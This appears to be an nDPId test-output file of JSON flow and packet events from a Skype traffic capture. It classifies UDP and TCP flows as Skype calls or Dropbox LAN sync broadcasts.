+00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":534,"source":"skype.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.162","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":535,"source":"skype.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.33","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":535,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969656,"pkt_ts_usec":410539,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA43x4AAEARCHPAqAEinTg0ITLdnEsAJM3am7QChNdFtOWmIsBdiMlrk7loIt\/AHz17BjRqJg=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":535,"source":"skype.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.33","src_port":13021,"dst_port":40011,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":536,"source":"skype.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.172","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":536,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969656,"pkt_ts_usec":410553,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAA\/QAAEAR92XAqAEib91NrDLdnEoALEKJm7YClKE3lTfT0DUQisSOS4KG\/La+hJBP5DfxaCwxffHTvFZU"} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":536,"source":"skype.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.172","src_port":13021,"dst_port":40010,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":537,"source":"skype.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.160","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":537,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969656,"pkt_ts_usec":410568,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1zB8AAEARzPbAqAEinTeCoDLdnF0AIXcUm7gCbIFVwo6Azkv+1yCNquXcTTuKbOiUHg=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":537,"source":"skype.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.160","src_port":13021,"dst_port":40029,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":539,"source":"skype.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1431969656652,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01080{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969656,"pkt_ts_usec":652360,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAISRnsAAEARcJbAqAEi\/\/\/\/\/0RcRFwB\/vqceyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":539,"source":"skype.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1431969656652,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":540,"source":"skype.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1431969656652,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01076{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969656,"pkt_ts_usec":652710,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAISynkAAEARKfDAqAEiwKgB\/0RcRFwB\/jf1eyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00512{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":540,"source":"skype.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1431969656652,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":541,"source":"skype.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1431969657029,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01079{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":541,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":29199,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAAISvf0AAEAR+NnAqAFc\/\/\/\/\/0RcRFwB\/v9VeyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":541,"source":"skype.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1431969657029,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":542,"source":"skype.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1431969657029,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01075{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":542,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":29887,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAAISJhIAAEARzh3AqAFcwKgB\/0RcRFwB\/jyueyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00512{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":542,"source":"skype.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1431969657029,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":543,"source":"skype.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1431969657367,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.44","src_port":50032,"dst_port":40032,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":543,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":367363,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAGANAAEAGj4bAqAEinTg0LMNwnGCx3l8+AAAAALAC\/\/8vJgAAAgQFtAEDAwUBAQgKPiLFlwAAAAAEAgAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":544,"source":"skype.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1431969657367,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.170","src_port":50033,"dst_port":40015,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":544,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":367596,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA2l9AAEAGyKzAqAEinTc4qsNxnE+r6BKEAAAAALAC\/\/99aQAAAgQFtAEDAwUBAQgKPiLFlwAAAAAEAgAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":545,"source":"skype.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1431969657367,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.140","src_port":50034,"dst_port":40033,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":367809,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAwhRAAEAGlxXAqAEinTeCjMNynGH\/hzWiAAAAALAC\/\/+8tgAAAgQFtAEDAwUBAQgKPiLFlwAAAAAEAgAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":546,"source":"skype.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1431969657367,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.145","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":546,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":367969,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/NlsAAEARxRrAqAEib91NkTLdnFsAK6mBm7oCyq7Iy7cmxwvThWDRoZOMl0+28C1BuPbRnMjSw2j4JUc="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":546,"source":"skype.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1431969657367,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.145","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":547,"source":"skype.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1431969657367,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.140","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":547,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":367969,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA27UQAAEARdBjAqAEiQAQXjDLdnEwAIlR2m7wC9vRcAIihDfXYF+Nv6Z8h\/1gxupEorwc="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":547,"source":"skype.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1431969657367,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.140","src_port":13021,"dst_port":40012,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":548,"source":"skype.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1431969657367,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.150","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":548,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":367982,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4fm8AAEAR4uHAqAEiQAQXljLdnEQAJKG2m74ChlnucS6od9D4320Ts5x3xY96lsRHLX7REg=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":548,"source":"skype.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1431969657367,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.150","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":549,"source":"skype.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1431969657368,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.25","src_port":13021,"dst_port":40028,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":549,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":368015,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0lqwAAEARaEzAqAEib91KGTLdnFwAIDPbm8ACFZDv7jAw6LF020D2sIW\/RLlBE6QH"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":549,"source":"skype.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1431969657368,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.25","src_port":13021,"dst_port":40028,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":550,"source":"skype.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1431969657368,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.153","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":550,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":368032,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5GS4AAEAR4kXAqAEib91NmTLdnFgAJQIPm8ICkS16B313b791pcC\/iQ60uf4KWNmYdYf5eCQ="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":550,"source":"skype.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1431969657368,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.153","src_port":13021,"dst_port":40024,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00423{"flow_id":9,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":551,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969657,"pkt_ts_usec":421051,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0EVBAAEAGR1HAqAEiQTffIcNqnEKAlL7VMr3ZNIARECjsdAAAAQEICj4ixcxNl5ts"} 